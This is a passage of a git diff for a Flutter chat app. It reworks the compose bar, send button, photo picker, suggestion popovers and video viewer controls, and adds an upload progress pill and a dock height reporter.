   const _ComposeBarLayout({
     required this.attachments,
-    required this.uploadingCount,
     required this.onRemoveAttachment,
     required this.uploadError,
     required this.isExpanded,
@@ -53,6 +52,7 @@ class _ComposeBarLayout extends StatelessWidget {
     required this.onChannel,
     required this.onEmoji,
     required this.onOpenFormatting,
+    required this.canSend,
     required this.hasPendingUploads,
     required this.isSending,
   });
@@ -63,10 +63,17 @@ class _ComposeBarLayout extends StatelessWidget {
   }
 
   Widget _buildBar(BuildContext context) {
+    final trimmedDraft = controller.text.trim();
+    final collapsedText = trimmedDraft.isEmpty
+        ? resolvedHint
+        : trimmedDraft.replaceAll(RegExp(r'\s+'), ' ');
+    final composerRadius =
+        Radii.dialog + Grid.quarter * (1 - expansionProgress);
     return Container(
+      key: const ValueKey('composer-surface'),
       decoration: BoxDecoration(
         color: context.colors.surfaceContainerHighest,
-        borderRadius: BorderRadius.circular(Radii.dialog),
+        borderRadius: BorderRadius.circular(composerRadius),
         border: Border.all(
           color: Colors.black.withValues(alpha: 0.04),
           width: 1,
@@ -76,10 +83,9 @@ class _ComposeBarLayout extends StatelessWidget {
       child: Column(
         mainAxisSize: MainAxisSize.min,
         children: [
-          if (attachments.isNotEmpty || hasPendingUploads) ...[
+          if (attachments.isNotEmpty) ...[
             _AttachmentStrip(
               attachments: attachments,
-              uploadingCount: uploadingCount,
               onRemove: onRemoveAttachment,
             ),
             const SizedBox(height: Grid.xxs),
@@ -142,7 +148,7 @@ class _ComposeBarLayout extends StatelessWidget {
                     label: resolvedHint,
                     child: GestureDetector(
                       behavior: HitTestBehavior.opaque,
-                      onTap: onExpand,
+                      onTap: () => _runComposerAction(onExpand),
                       child: Padding(
                         padding: const EdgeInsets.symmetric(
                           vertical: Grid.half,
@@ -150,9 +156,13 @@ class _ComposeBarLayout extends StatelessWidget {
                         child: Align(
                           alignment: Alignment.centerLeft,
                           child: Text(
-                            resolvedHint,
+                            collapsedText,
+                            maxLines: 1,
+                            overflow: TextOverflow.ellipsis,
                             style: context.textTheme.bodyLarge?.copyWith(
-                              color: context.colors.onSurfaceVariant,
+                              color: trimmedDraft.isEmpty
+                                  ? context.colors.onSurfaceVariant
+                                  : context.colors.onSurface,
                             ),
                           ),
                         ),
@@ -160,6 +170,12 @@ class _ComposeBarLayout extends StatelessWidget {
                     ),
                   ),
                 ),
+                const SizedBox(width: Grid.xxs),
+                _SendButton(
+                  isDisabled: !canSend || hasPendingUploads,
+                  isSending: isSending,
+                  onTap: onSend,
+                ),
               ],
             ),
           ClipRect(
@@ -167,7 +183,7 @@ class _ComposeBarLayout extends StatelessWidget {
               alignment: Alignment.topCenter,
               heightFactor: expansionValue,
               child: IgnorePointer(
-                ignoring: expansionValue < 0.98,
+                ignoring: !isExpanded,
                 child: Opacity(
                   opacity: expansionProgress,
                   child: Transform.translate(
@@ -225,7 +241,8 @@ class _ComposeBarLayout extends StatelessWidget {
                                           ),
                                           const Spacer(),
                                           _SendButton(
-                                            isDisabled: hasPendingUploads,
+                                            isDisabled:
+                                                !canSend || hasPendingUploads,
                                             isSending: isSending,
                                             onTap: onSend,
                                           ),
diff --git a/mobile/lib/features/channels/compose_bar/photo_gallery_picker.dart b/mobile/lib/features/channels/compose_bar/photo_gallery_picker.dart
index 8b19b74aa2..d40fd93a22 100644
--- a/mobile/lib/features/channels/compose_bar/photo_gallery_picker.dart
+++ b/mobile/lib/features/channels/compose_bar/photo_gallery_picker.dart
@@ -4,11 +4,13 @@ class _PhotoGalleryPicker extends StatelessWidget {
   final VoidCallback onBack;
   final Future<List<XFile>> Function() onPickAllPhotos;
   final Future<void> Function(List<XFile> photos) onChoosePhotos;
+  final Future<void> Function(List<XFile> photos) onChooseAllPhotos;
 
   const _PhotoGalleryPicker({
     required this.onBack,
     required this.onPickAllPhotos,
     required this.onChoosePhotos,
+    required this.onChooseAllPhotos,
   });
 
   @override
@@ -17,12 +19,14 @@ class _PhotoGalleryPicker extends StatelessWidget {
       onBack: onBack,
       onPickAllPhotos: onPickAllPhotos,
       onChoosePhotos: onChoosePhotos,
+      onChooseAllPhotos: onChooseAllPhotos,
     );
     if (defaultTargetPlatform != TargetPlatform.iOS) return fallback;
     return _IOSInlinePhotoPicker(
       onBack: onBack,
       onPickAllPhotos: onPickAllPhotos,
       onChoosePhotos: onChoosePhotos,
+      onChooseAllPhotos: onChooseAllPhotos,
       fallback: fallback,
     );
   }
@@ -32,11 +36,13 @@ class _RecentPhotoGalleryPicker extends HookConsumerWidget {
   final VoidCallback onBack;
   final Future<List<XFile>> Function() onPickAllPhotos;
   final Future<void> Function(List<XFile> photos) onChoosePhotos;
+  final Future<void> Function(List<XFile> photos) onChooseAllPhotos;
 
   const _RecentPhotoGalleryPicker({
     required this.onBack,
     required this.onPickAllPhotos,
     required this.onChoosePhotos,
+    required this.onChooseAllPhotos,
   });
 
   @override
@@ -73,7 +79,9 @@ class _RecentPhotoGalleryPicker extends HookConsumerWidget {
                   .read(photoLibraryProvider)
                   .resolveSelectedPhotos(selection.value);
         if (photos.isNotEmpty && context.mounted) {
-          await onChoosePhotos(photos);
+          await (selection.value.isEmpty ? onChooseAllPhotos : onChoosePhotos)(
+            photos,
+          );
         }
       } catch (_) {
         if (context.mounted) {
@@ -136,7 +144,7 @@ class _RecentPhotoGalleryPicker extends HookConsumerWidget {
             photo: photo,
             selectionIndex: selectionIndex,
             reducedMotion: reducedMotion,
-            onTap: () => togglePhoto(photo),
+            onTap: () => _runComposerAction(() => togglePhoto(photo)),
           );
         },
       );
@@ -154,7 +162,9 @@ class _RecentPhotoGalleryPicker extends HookConsumerWidget {
               children: [
                 IconButton(
                   key: const ValueKey('photo-gallery-back'),
-                  onPressed: isResolving.value ? null : onBack,
+                  onPressed: isResolving.value
+                      ? null
+                      : () => _runComposerAction(onBack),
                   tooltip: 'Back to attachment options',
                   visualDensity: VisualDensity.compact,
                   icon: const Icon(LucideIcons.arrowLeft, size: 20),
@@ -212,7 +222,11 @@ class _RecentPhotoGalleryPicker extends HookConsumerWidget {
             child: selectedCount == 0
                 ? OutlinedButton.icon(
                     key: const ValueKey('photo-gallery-action'),
-                    onPressed: isResolving.value ? null : choosePhotos,
+                    onPressed: isResolving.value
+                        ? null
+                        : () => _runComposerAction(
+                            () => unawaited(choosePhotos()),
+                          ),
                     icon: isResolving.value
                         ? BuzzLoadingIndicator(
                             size: 22,
@@ -224,7 +238,11 @@ class _RecentPhotoGalleryPicker extends HookConsumerWidget {
                   )
                 : FilledButton.icon(
                     key: const ValueKey('photo-gallery-action'),
-                    onPressed: isResolving.value ? null : choosePhotos,
+                    onPressed: isResolving.value
+                        ? null
+                        : () => _runComposerAction(
+                            () => unawaited(choosePhotos()),
+                          ),
                     icon: isResolving.value
                         ? const BuzzLoadingIndicator(
                             size: 22,
diff --git a/mobile/lib/features/channels/compose_bar/send_button.dart b/mobile/lib/features/channels/compose_bar/send_button.dart
index 54060ae948..bbe9d2aaca 100644
--- a/mobile/lib/features/channels/compose_bar/send_button.dart
+++ b/mobile/lib/features/channels/compose_bar/send_button.dart
@@ -17,7 +17,9 @@ class _SendButton extends StatelessWidget {
       width: 36,
       height: 36,
       child: IconButton(
-        onPressed: (isSending || isDisabled) ? null : onTap,
+        onPressed: (isSending || isDisabled)
+            ? null
+            : () => _runComposerAction(onTap),
         style: IconButton.styleFrom(
           backgroundColor: context.colors.primary,
           disabledBackgroundColor: context.colors.primary.withValues(
diff --git a/mobile/lib/features/channels/compose_bar/suggestions.dart b/mobile/lib/features/channels/compose_bar/suggestions.dart
index ed97284d46..7b8e7c175b 100644
--- a/mobile/lib/features/channels/compose_bar/suggestions.dart
+++ b/mobile/lib/features/channels/compose_bar/suggestions.dart
@@ -111,54 +111,55 @@ class _MentionSuggestions extends StatelessWidget {
 
   @override
   Widget build(BuildContext context) {
-    return Container(
-      constraints: const BoxConstraints(maxHeight: 240),
+    return Material(
+      key: const ValueKey('mention-suggestions-popover'),
+      type: MaterialType.card,
+      color: appPopoverColor(context),
+      surfaceTintColor: Colors.transparent,
+      elevation: appPopoverElevation,
+      shadowColor: appPopoverShadowColor(context),
+      shape: appPopoverShape(context),
       clipBehavior: Clip.hardEdge,
-      decoration: BoxDecoration(
-        color: context.colors.surfaceContainerHighest,
-        borderRadius: BorderRadius.circular(Radii.dialog),
-        border: Border.all(
-          color: Colors.black.withValues(alpha: 0.04),
-          width: 1,
-        ),
-      ),
-      child: ListView.separated(
-        shrinkWrap: true,
-        padding: const EdgeInsets.symmetric(vertical: Grid.xxs),
-        itemCount: suggestions.length,
-        separatorBuilder: (_, _) => const SizedBox.shrink(),
-        itemBuilder: (context, index) {
-          final candidate = suggestions[index];
-          final name = candidate.label;
-          final avatarUrl =
-              candidate.avatarUrl ?? userCache[candidate.pubkey]?.avatarUrl;
+      child: ConstrainedBox(
+        constraints: const BoxConstraints(maxHeight: 240),
+        child: ListView.separated(
+          shrinkWrap: true,
+          padding: const EdgeInsets.symmetric(vertical: Grid.xxs),
+          itemCount: suggestions.length,
+          separatorBuilder: (_, _) => const SizedBox.shrink(),
+          itemBuilder: (context, index) {
+            final candidate = suggestions[index];
+            final name = candidate.label;
+            final avatarUrl =
+                candidate.avatarUrl ?? userCache[candidate.pubkey]?.avatarUrl;
 
-          return ListTile(
-            dense: true,
-            visualDensity: VisualDensity.compact,
-            leading: AvatarImage(
-              imageUrl: avatarUrl,
-              radius: 18,
-              backgroundColor: context.colors.primaryContainer,
-              fallback: Text(
-                name[0].toUpperCase(),
-                style: context.textTheme.labelMedium?.copyWith(
-                  color: context.colors.onPrimaryContainer,
-                  fontWeight: FontWeight.w600,
+            return ListTile(
+              dense: true,
+              visualDensity: VisualDensity.compact,
+              leading: AvatarImage(
+                imageUrl: avatarUrl,
+                radius: 18,
+                backgroundColor: context.colors.primaryContainer,
+                fallback: Text(
+                  name[0].toUpperCase(),
+                  style: context.textTheme.labelMedium?.copyWith(
+                    color: context.colors.onPrimaryContainer,
+                    fontWeight: FontWeight.w600,
+                  ),
                 ),
               ),
-            ),
-            title: Text(name, style: context.textTheme.titleSmall),
-            subtitle: _MentionSuggestionInfo.build(
-              context,
-              candidate: candidate,
-              currentPubkey: currentPubkey,
-              isDmChannel: isDmChannel,
-              userCache: userCache,
-            ),
-            onTap: () => onSelect(candidate),
-          );
-        },
+              title: Text(name, style: context.textTheme.titleSmall),
+              subtitle: _MentionSuggestionInfo.build(
+                context,
+                candidate: candidate,
+                currentPubkey: currentPubkey,
+                isDmChannel: isDmChannel,
+                userCache: userCache,
+              ),
+              onTap: () => _runComposerAction(() => onSelect(candidate)),
+            );
+          },
+        ),
       ),
     );
   }
@@ -261,40 +262,41 @@ class _ChannelSuggestions extends StatelessWidget {
 
   @override
   Widget build(BuildContext context) {
-    return Container(
-      constraints: const BoxConstraints(maxHeight: 240),
+    return Material(
+      key: const ValueKey('channel-suggestions-popover'),
+      type: MaterialType.card,
+      color: appPopoverColor(context),
+      surfaceTintColor: Colors.transparent,
+      elevation: appPopoverElevation,
+      shadowColor: appPopoverShadowColor(context),
+      shape: appPopoverShape(context),
       clipBehavior: Clip.hardEdge,
-      decoration: BoxDecoration(
-        color: context.colors.surfaceContainerHighest,
-        borderRadius: BorderRadius.circular(Radii.dialog),
-        border: Border.all(
-          color: Colors.black.withValues(alpha: 0.04),
-          width: 1,
-        ),
-      ),
-      child: ListView.separated(
-        shrinkWrap: true,
-        padding: const EdgeInsets.symmetric(vertical: Grid.xxs),
-        itemCount: suggestions.length,
-        separatorBuilder: (_, _) => const SizedBox.shrink(),
-        itemBuilder: (context, index) {
-          final channel = suggestions[index];
-          return ListTile(
-            dense: true,
-            visualDensity: VisualDensity.compact,
-            horizontalTitleGap: 0,
-            leading: SizedBox.square(
-              dimension: 36,
-              child: Icon(
-                LucideIcons.hash,
-                size: 20,
-                color: context.colors.onSurfaceVariant,
+      child: ConstrainedBox(
+        constraints: const BoxConstraints(maxHeight: 240),
+        child: ListView.separated(
+          shrinkWrap: true,
+          padding: const EdgeInsets.symmetric(vertical: Grid.xxs),
+          itemCount: suggestions.length,
+          separatorBuilder: (_, _) => const SizedBox.shrink(),
+          itemBuilder: (context, index) {
+            final channel = suggestions[index];
+            return ListTile(
+              dense: true,
+              visualDensity: VisualDensity.compact,
+              horizontalTitleGap: 0,
+              leading: SizedBox.square(
+                dimension: 36,
+                child: Icon(
+                  LucideIcons.hash,
+                  size: 20,
+                  color: context.colors.onSurfaceVariant,
+                ),
               ),
-            ),
-            title: Text(channel.name, style: context.textTheme.bodyLarge),
-            onTap: () => onSelect(channel),
-          );
-        },
+              title: Text(channel.name, style: context.textTheme.bodyLarge),
+              onTap: () => _runComposerAction(() => onSelect(channel)),
+            );
+          },
+        ),
       ),
     );
   }
diff --git a/mobile/lib/features/channels/compose_bar/upload_progress_pill.dart b/mobile/lib/features/channels/compose_bar/upload_progress_pill.dart
new file mode 100644
index 0000000000..23f381b82b
--- /dev/null
+++ b/mobile/lib/features/channels/compose_bar/upload_progress_pill.dart
@@ -0,0 +1,197 @@
+part of '../compose_bar.dart';
+
+class _UploadProgressMotion extends StatelessWidget {
+  final bool visible;
+  final double progress;
+  final bool reducedMotion;
+  final VoidCallback onCancel;
+
+  const _UploadProgressMotion({
+    required this.visible,
+    required this.progress,
+    required this.reducedMotion,
+    required this.onCancel,
+  });
+
+  @override
+  Widget build(BuildContext context) {
+    return AnimatedSwitcher(
+      key: const ValueKey('compose-upload-progress-motion'),
+      duration: reducedMotion
+          ? Duration.zero
+          : const Duration(milliseconds: 220),
+      reverseDuration: reducedMotion
+          ? Duration.zero
+          : const Duration(milliseconds: 180),
+      transitionBuilder: (child, animation) {
+        final motion = CurvedAnimation(
+          parent: animation,
+          curve: Curves.easeInCubic,
+          reverseCurve: Curves.easeOutCubic,
+        );
+        return ClipRect(
+          child: SlideTransition(
+            position: Tween<Offset>(
+              begin: const Offset(0, 1.15),
+              end: Offset.zero,
+            ).animate(motion),
+            child: child,
+          ),
+        );
+      },
+      child: visible
+          ? Padding(
+              key: const ValueKey('compose-upload-progress-visible'),
+              padding: const EdgeInsets.only(bottom: Grid.xxs),
+              child: _UploadProgressPill(
+                progress: progress,
+                reducedMotion: reducedMotion,
+                onCancel: onCancel,
+              ),
+            )
+          : const SizedBox.shrink(
+              key: ValueKey('compose-upload-progress-hidden'),
+            ),
+    );
+  }
+}
+
+/// A lightweight post-send upload status that stays above the composer, so the
+/// composer is immediately available for the next message.
+class _UploadProgressPill extends HookConsumerWidget {
+  final double progress;
+  final bool reducedMotion;
+  final VoidCallback onCancel;
+
+  const _UploadProgressPill({
+    required this.progress,
+    required this.reducedMotion,
+    required this.onCancel,
+  });
+
+  @override
+  Widget build(BuildContext context, WidgetRef ref) {
+    final cancelHovered = useState(false);
+    final clampedProgress = progress.clamp(0.0, 1.0).toDouble();
+    final percentage = (clampedProgress * 100).round();
+    return Semantics(
+      liveRegion: true,
+      label: 'Uploading $percentage%',
+      child: SizedBox(
+        key: const ValueKey('compose-upload-progress'),
+        width: 300,
+        height: 36,
+        child: ClipRRect(
+          borderRadius: BorderRadius.circular(Radii.full),
+          child: DecoratedBox(
+            decoration: BoxDecoration(
+              color: context.colors.surfaceContainerHighest,
+              border: Border.all(color: context.colors.outlineVariant),
+              borderRadius: BorderRadius.circular(Radii.full),
+            ),
+            child: Stack(
+              fit: StackFit.expand,
+              children: [
+                Align(
+                  alignment: Alignment.centerLeft,
+                  child: AnimatedFractionallySizedBox(
+                    key: const ValueKey('compose-upload-progress-fill'),
+                    duration: reducedMotion
+                        ? Duration.zero
+                        : const Duration(milliseconds: 150),
+                    curve: Curves.easeOutCubic,
+                    widthFactor: clampedProgress,
+                    heightFactor: 1,
+                    child: ColoredBox(
+                      color: context.colors.primary.withValues(
+                        alpha: context.theme.brightness == Brightness.dark
+                            ? 0.15
+                            : 0.12,
+                      ),
+                    ),
+                  ),
+                ),
+                Padding(
+                  padding: const EdgeInsets.only(
+                    left: Grid.twelve,
+                    right: Grid.half,
+                  ),
+                  child: Row(
+                    children: [
+                      Expanded(
+                        child: Text(
+                          'Uploading',
+                          maxLines: 1,
+                          overflow: TextOverflow.ellipsis,
+                          style: context.textTheme.labelMedium?.copyWith(
+                            color: context.colors.onSurface,
+                            fontWeight: FontWeight.w600,
+                          ),
+                        ),
+                      ),
+                      SizedBox(
+                        width: 36,
+                        child: FittedBox(
+                          alignment: Alignment.centerRight,
+                          fit: BoxFit.scaleDown,
+                          child: Text(
+                            '$percentage%',
+                            style: context.textTheme.labelMedium?.copyWith(
+                              color: context.colors.onSurfaceVariant,
+                              fontWeight: FontWeight.w600,
+                            ),
+                          ),
+                        ),
+                      ),
+                      const SizedBox(width: Grid.xxs),
+                      Padding(
+                        padding: const EdgeInsets.symmetric(
+                          vertical: Grid.half,
+                        ),
+                        child: MouseRegion(
+                          onEnter: (_) => cancelHovered.value = true,
+                          onExit: (_) => cancelHovered.value = false,
+                          child: Material(
+                            color: cancelHovered.value
+                                ? context.colors.onSurface.withValues(
+                                    alpha: 0.08,
+                                  )
+                                : Colors.transparent,
+                            borderRadius: BorderRadius.circular(Radii.full),
+                            clipBehavior: Clip.antiAlias,
+                            child: InkWell(
+                              key: const ValueKey('compose-upload-cancel'),
+                              onTap: onCancel,
+                              borderRadius: BorderRadius.circular(Radii.full),
+                              child: Padding(
+                                key: const ValueKey(
+                                  'compose-upload-cancel-padding',
+                                ),
+                                padding: const EdgeInsets.symmetric(
+                                  horizontal: Grid.half,
+                                  vertical: Grid.quarter,
+                                ),
+                                child: Text(
+                                  'Cancel',
+                                  style: context.textTheme.labelMedium
+                                      ?.copyWith(
+                                        color: context.colors.onSurface,
+                                        fontWeight: FontWeight.w600,
+                                      ),
+                                ),
+                              ),
+                            ),
+                          ),
+                        ),
+                      ),
+                    ],
+                  ),
+                ),
+              ],
+            ),
+          ),
+        ),
+      ),
+    );
+  }
+}
diff --git a/mobile/lib/features/channels/composer_dock_size_reporter.dart b/mobile/lib/features/channels/composer_dock_size_reporter.dart
new file mode 100644
index 0000000000..38730729b3
--- /dev/null
+++ b/mobile/lib/features/channels/composer_dock_size_reporter.dart
@@ -0,0 +1,50 @@
+import 'package:flutter/material.dart';
+import 'package:flutter_hooks/flutter_hooks.dart';
+
+/// Reports the laid-out height of a floating composer dock.
+///
+/// Message timelines use that height as scroll padding while still painting
+/// beneath the dock, which lets the dock's fade reveal real timeline content.
+class ComposerDockSizeReporter extends HookWidget {
+  final ValueChanged<double> onHeightChanged;
+  final Widget child;
+
+  const ComposerDockSizeReporter({
+    super.key,
+    required this.onHeightChanged,
+    required this.child,
+  });
+
+  @override
+  Widget build(BuildContext context) {
+    final sizeKey = useMemoized(GlobalKey.new);
+    final lastHeight = useRef<double?>(null);
+
+    void reportHeight() {
+      WidgetsBinding.instance.addPostFrameCallback((_) {
+        final renderObject = sizeKey.currentContext?.findRenderObject();
+        if (renderObject is! RenderBox || !renderObject.hasSize) return;
+        final height = renderObject.size.height;
+        final previous = lastHeight.value;
+        if (previous != null && (previous - height).abs() < 0.5) return;
+        lastHeight.value = height;
+        onHeightChanged(height);
+      });
+    }
+
+    useEffect(() {
+      reportHeight();
+      return null;
+    }, const []);
+
+    return NotificationListener<SizeChangedLayoutNotification>(
+      onNotification: (_) {
+        reportHeight();
+        return true;
+      },
+      child: SizeChangedLayoutNotifier(
+        child: KeyedSubtree(key: sizeKey, child: child),
+      ),
+    );
+  }
+}
diff --git a/mobile/lib/features/channels/emoji_picker.dart b/mobile/lib/features/channels/emoji_picker.dart
index 10292cfa28..e8e62199d7 100644
--- a/mobile/lib/features/channels/emoji_picker.dart
+++ b/mobile/lib/features/channels/emoji_picker.dart
@@ -9,7 +9,9 @@ import '../../shared/custom_emoji/custom_emoji_render.dart';
 import '../../shared/emoji/emoji_data.dart';
 import '../../shared/emoji/emoji_data_provider.dart';
 import '../../shared/emoji/emoji_search.dart';
+import '../../shared/emoji/native_emoji_glyph.dart';
 import '../../shared/theme/theme.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import 'recent_emoji_provider.dart';
 
 part 'emoji_picker/search_field.dart';
@@ -30,8 +32,9 @@ const _sheetHeightFactor = 0.62;
 void showEmojiPicker({
   required BuildContext context,
   required void Function(String emoji) onSelect,
+  VoidCallback? onDismiss,
 }) {
-  showModalBottomSheet<void>(
+  showBuzzModalBottomSheet<void>(
     context: context,
     isScrollControlled: true,
     showDragHandle: true,
@@ -42,7 +45,7 @@ void showEmojiPicker({
         onSelect(emoji);
       },
     ),
-  );
+  ).whenComplete(onDismiss ?? () {});
 }
 
 class EmojiPickerSheet extends HookConsumerWidget {
diff --git a/mobile/lib/features/channels/emoji_picker/emoji_grid.dart b/mobile/lib/features/channels/emoji_picker/emoji_grid.dart
index 2ebe631edd..354a31e44c 100644
--- a/mobile/lib/features/channels/emoji_picker/emoji_grid.dart
+++ b/mobile/lib/features/channels/emoji_picker/emoji_grid.dart
@@ -99,10 +99,7 @@ class _EmojiTile extends StatelessWidget {
         button: true,
         label: entry.name,
         child: Center(
-          child: Text(
-            entry.native,
-            style: const TextStyle(fontSize: _emojiGlyphSize),
-          ),
+          child: NativeEmojiGlyph(emoji: entry.native, size: _emojiGlyphSize),
         ),
       ),
     );
diff --git a/mobile/lib/features/channels/media_viewer_page.dart b/mobile/lib/features/channels/media_viewer_page.dart
index f7e1af9211..b5eb308c63 100644
--- a/mobile/lib/features/channels/media_viewer_page.dart
+++ b/mobile/lib/features/channels/media_viewer_page.dart
@@ -1,11 +1,14 @@
 import 'dart:async';
+import 'dart:io';
 
 import 'package:flutter/foundation.dart';
 import 'package:flutter/material.dart';
 import 'package:flutter/physics.dart';
 import 'package:flutter_hooks/flutter_hooks.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
+import 'package:http/http.dart' as http;
 import 'package:lucide_icons_flutter/lucide_icons.dart';
+import 'package:path_provider/path_provider.dart';
 import 'package:video_player/video_player.dart';
 
 import '../../shared/relay/relay.dart';
@@ -17,6 +20,8 @@ export 'media_viewer_hero.dart';
 
 part 'media_viewer_page/image_controls.dart';
 part 'media_viewer_page/route_transition.dart';
+part 'media_viewer_page/video_controls.dart';
+part 'media_viewer_page/video_viewer.dart';
 
 const _imageViewerPushDuration = Duration(milliseconds: 260);
 const _imageViewerPopDuration = Duration(milliseconds: 170);
@@ -139,6 +144,7 @@ void openVideoViewer(
   BuildContext context, {
   required String videoUrl,
   String? posterUrl,
+  VoidCallback? onReply,
 }) {
   Navigator.of(context).push(
     PageRouteBuilder<void>(
@@ -149,7 +155,11 @@ void openVideoViewer(
           ? Duration.zero
           : _imageViewerPopDuration,
       pageBuilder: (context, animation, secondaryAnimation) =>
-          MediaVideoViewerPage(videoUrl: videoUrl, posterUrl: posterUrl),
+          MediaVideoViewerPage(
+            videoUrl: videoUrl,
+            posterUrl: posterUrl,
+            onReply: onReply,
+          ),
       transitionsBuilder: (context, animation, secondaryAnimation, child) =>
           _MediaViewerRouteTransition(animation: animation, child: child),
     ),
@@ -654,212 +664,6 @@ class MediaImageViewerPage extends HookConsumerWidget {
   }
 }
 
-// StatefulWidget retained: owns a VideoPlayerController with async init and
-// disposal — kept imperative deliberately (allowed exception).
-class MediaVideoViewerPage extends StatefulWidget {
-  final String videoUrl;
-  final String? posterUrl;
-
-  const MediaVideoViewerPage({
-    super.key,
-    required this.videoUrl,
-    this.posterUrl,
-  });
-
-  @override
-  State<MediaVideoViewerPage> createState() => _MediaVideoViewerPageState();
-}
-
-class _MediaVideoViewerPageState extends State<MediaVideoViewerPage> {
-  late final VideoPlayerController _controller;
-  late final Future<void> _initializeFuture;
-  String? _error;
-
-  @override
-  void initState() {
-    super.initState();
-    _controller = VideoPlayerController.networkUrl(
-      Uri.parse(widget.videoUrl),
-      httpHeaders: mediaGetHeadersForContext(context, widget.videoUrl),
-    );
-    _initializeFuture = _controller
-        .initialize()
-        .then((_) async {
-          await _controller.play();
-          if (mounted) {
-            setState(() {});
-          }
-        })
-        .catchError((Object error) {
-          if (mounted) {
-            setState(() {
-              _error = error.toString();
-            });
-          }
-        });
-  }
-
-  @override
-  void dispose() {
-    unawaited(_controller.dispose());
-    super.dispose();
-  }
-
-  @override
-  Widget build(BuildContext context) {
-    return Scaffold(
-      key: const ValueKey('message-media-video-viewer'),
-      backgroundColor: Colors.black,
-      body: Stack(
-        children: [
-          Positioned.fill(
-            child: SafeArea(
-              child: Center(
-                child: FutureBuilder<void>(
-                  future: _initializeFuture,
-                  builder: (context, snapshot) {
-                    if (_error != null || snapshot.hasError) {
-                      return const _MediaLoadFailure(
-                        message: 'Failed to load video',
-                        icon: LucideIcons.videoOff,
-                      );
-                    }
-
-                    if (!_controller.value.isInitialized) {
-                      return _VideoLoadingPoster(posterUrl: widget.posterUrl);
-                    }
-
-                    return Column(
-                      mainAxisSize: MainAxisSize.min,
-                      children: [
-                        AspectRatio(
-                          aspectRatio: _controller.value.aspectRatio,
-                          child: VideoPlayer(_controller),
-                        ),
-                        const SizedBox(height: Grid.sm),
-                        _VideoTransportBar(controller: _controller),
-                      ],
-                    );
-                  },
-                ),
-              ),
-            ),
-          ),
-          PositionedDirectional(
-            top: Grid.sm,
-            end: Grid.sm,
-            child: SafeArea(
-              child: DecoratedBox(
-                decoration: const BoxDecoration(
-                  color: Color.fromRGBO(0, 0, 0, 0.56),
-                  shape: BoxShape.circle,
-                ),
-                child: IconButton(
-                  key: const ValueKey('message-media-video-viewer-close'),
-                  onPressed: () => Navigator.of(context).maybePop(),
-                  tooltip: 'Close video viewer',
-                  icon: const Icon(LucideIcons.x, color: Colors.white),
-                ),
-              ),
-            ),
-          ),
-        ],
-      ),
-    );
-  }
-}
-
-class _VideoLoadingPoster extends StatelessWidget {
-  final String? posterUrl;
-
-  const _VideoLoadingPoster({required this.posterUrl});
-
-  @override
-  Widget build(BuildContext context) {
-    return AspectRatio(
-      aspectRatio: 16 / 9,
-      child: Stack(
-        fit: StackFit.expand,
-        children: [
-          if (posterUrl != null)
-            MediaImage(
-              url: posterUrl!,
-              fit: BoxFit.cover,
-              errorBuilder: (_, _, _) => _videoPlaceholder(context),
-            )
-          else
-            _videoPlaceholder(context),
-          const ColoredBox(color: Color.fromRGBO(0, 0, 0, 0.24)),
-          const Center(
-            child: BuzzLoadingIndicator(
-              size: 44,
-              color: Colors.white,
-              semanticLabel: 'Loading video',
-            ),
-          ),
-        ],
-      ),
-    );
-  }
-
-  Widget _videoPlaceholder(BuildContext context) {
-    return ColoredBox(
-      color: context.colors.surfaceContainerHighest,
-      child: Icon(
-        LucideIcons.video,
-        size: 40,
-        color: context.colors.onSurfaceVariant,
-      ),
-    );
-  }
-}
-
-class _VideoTransportBar extends HookWidget {
-  final VideoPlayerController controller;
-
-  const _VideoTransportBar({required this.controller});
-
-  @override
-  Widget build(BuildContext context) {
-    useListenable(controller);
-    final value = controller.value;
-    final durationMs = value.duration.inMilliseconds;
-    final positionMs = value.position.inMilliseconds.clamp(0, durationMs);
-
-    return Row(
-      mainAxisSize: MainAxisSize.min,
-      children: [
-        IconButton(
-          onPressed: () {
-            if (value.isPlaying) {
-              controller.pause();
-            } else {
-              controller.play();
-            }
-          },
-          tooltip: value.isPlaying ? 'Pause video' : 'Play video',
-          icon: Icon(
-            value.isPlaying ? LucideIcons.pause : LucideIcons.play,
-            color: Colors.white,
-          ),
-        ),
-        SizedBox(
-          width: 220,
-          child: Slider(
-            value: durationMs == 0 ? 0 : positionMs.toDouble(),
-            min: 0,
-            max: durationMs == 0 ? 1 : durationMs.toDouble(),
-            onChanged: durationMs == 0
-                ? null
-                : (next) =>
-                      controller.seekTo(Duration(milliseconds: next.round())),
-          ),
-        ),
-      ],
-    );
-  }
-}
-
 class _MediaLoadFailure extends StatelessWidget {
   final String message;
   final IconData icon;
diff --git a/mobile/lib/features/channels/media_viewer_page/video_controls.dart b/mobile/lib/features/channels/media_viewer_page/video_controls.dart
new file mode 100644
index 0000000000..996d94ee42
--- /dev/null
+++ b/mobile/lib/features/channels/media_viewer_page/video_controls.dart
@@ -0,0 +1,140 @@
+part of '../media_viewer_page.dart';
+
+/// Video transport and message actions, kept visually aligned with the image
+/// viewer chrome while the native player owns decoding and playback.
+class _VideoViewerBottomControls extends StatelessWidget {
+  final VideoPlayerController? controller;
+  final VoidCallback? onReply;
+
+  const _VideoViewerBottomControls({
+    required this.controller,
+    required this.onReply,
+  });
+
+  @override
+  Widget build(BuildContext context) {
+    final readyController = controller?.value.isInitialized == true
+        ? controller
+        : null;
+    return Padding(
+      padding: const EdgeInsets.fromLTRB(Grid.sm, Grid.xxs, Grid.sm, 0),
+      child: Column(
+        mainAxisSize: MainAxisSize.min,
+        children: [
+          if (readyController != null)
+            _VideoTransportBar(controller: readyController),
+          Row(
+            children: [
+              _MediaViewerCircleButton(
+                key: const ValueKey('message-media-video-viewer-reply-thread'),
+                icon: LucideIcons.messageSquareReply,
+                tooltip: 'Reply in thread',
+                onPressed: onReply,
+              ),
+              const Spacer(),
+            ],
+          ),
+        ],
+      ),
+    );
+  }
+}
+
+class _VideoTransportBar extends HookConsumerWidget {
+  final VideoPlayerController controller;
+
+  const _VideoTransportBar({required this.controller});
+
+  @override
+  Widget build(BuildContext context, WidgetRef ref) {
+    useListenable(controller);
+    final value = controller.value;
+    final durationMs = value.duration.inMilliseconds;
+    final positionMs = value.position.inMilliseconds.clamp(0, durationMs);
+    final hasDuration = durationMs > 0;
+
+    return Padding(
+      padding: const EdgeInsets.only(bottom: Grid.xxs),
+      child: DecoratedBox(
+        decoration: BoxDecoration(
+          color: Colors.black.withValues(alpha: 0.42),
+          border: Border.all(color: Colors.white.withValues(alpha: 0.12)),
+          borderRadius: BorderRadius.circular(Radii.full),
+        ),
